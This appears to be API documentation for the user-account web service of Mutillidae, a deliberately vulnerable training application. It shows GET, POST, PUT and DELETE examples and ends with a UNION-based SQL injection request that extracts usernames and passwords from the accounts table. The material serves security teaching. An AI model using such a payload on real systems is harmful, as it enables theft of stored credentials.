This service allows you to create, read, update, and delete user accounts using various HTTP methods.
Note: This service is vulnerable to SQL injection at security level 0. Be cautious when testing or exploring its functionality.
Use GET requests to retrieve information about one or more accounts.
Optional Parameter: username (as a URL parameter)
username=*, all accounts will be returned.username is specified, details for that user will be returned.
GET /webservices/rest/ws-user-account.php?username=adrian HTTP/1.1
Host: mutillidae.localhost
Accept: application/json
cURL Example:
curl -X GET "http://mutillidae.localhost/webservices/rest/ws-user-account.php?username=adrian" \
-H "Accept: application/json"
GET /webservices/rest/ws-user-account.php?username=* HTTP/1.1
Host: mutillidae.localhost
Accept: application/json
cURL Example:
curl -X GET "http://mutillidae.localhost/webservices/rest/ws-user-account.php?username=*" \
-H "Accept: application/json"
Use POST requests to create a new user account.
Required Parameters (POST body):
username: The username for the new accountpassword: The password for the new accountfirstname: User's first namelastname: User's last nameOptional Parameter: signature (User's signature)
POST /webservices/rest/ws-user-account.php HTTP/1.1 Host: mutillidae.localhost Content-Type: application/x-www-form-urlencoded username=john&password=pass123&firstname=John&lastname=Doe&signature=JDoecURL Example:
curl -X POST "http://mutillidae.localhost/webservices/rest/ws-user-account.php" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=john&password=pass123&firstname=John&lastname=Doe&signature=JDoe"
Use PUT requests to create or update an existing user account.
Required Parameters (POST body):
username: The username for the accountpassword: The password for the accountfirstname: User's first namelastname: User's last nameOptional Parameters:
signature: User's signatureupdate_client_id (boolean): If true, updates the client_idupdate_client_secret (boolean): If true, updates the client_secretPUT /webservices/rest/ws-user-account.php HTTP/1.1 Host: mutillidae.localhost Content-Type: application/x-www-form-urlencoded username=john&password=newpass123&firstname=John&lastname=Doe&signature=JDoeUpdated&update_client_id=true&update_client_secret=falsecURL Example:
curl -X PUT "http://mutillidae.localhost/webservices/rest/ws-user-account.php" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=john&password=newpass123&firstname=John&lastname=Doe&signature=JDoeUpdated&update_client_id=true&update_client_secret=false"
Use DELETE requests to delete an existing user account.
Required Parameters (POST body):
username: The username of the account to be deletedpassword: The password for the accountDELETE /webservices/rest/ws-user-account.php HTTP/1.1 Host: mutillidae.localhost Content-Type: application/x-www-form-urlencoded username=john&password=newpass123cURL Example:
curl -X DELETE "http://mutillidae.localhost/webservices/rest/ws-user-account.php" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=john&password=newpass123"
This service is vulnerable to SQL injection at security level 0. Example:
GET /webservices/rest/ws-user-account.php?username=jeremy'+union+select+concat('The+password+for+',username,'+is+',password),mysignature+from+accounts+-- HTTP/1.1
Host: mutillidae.localhost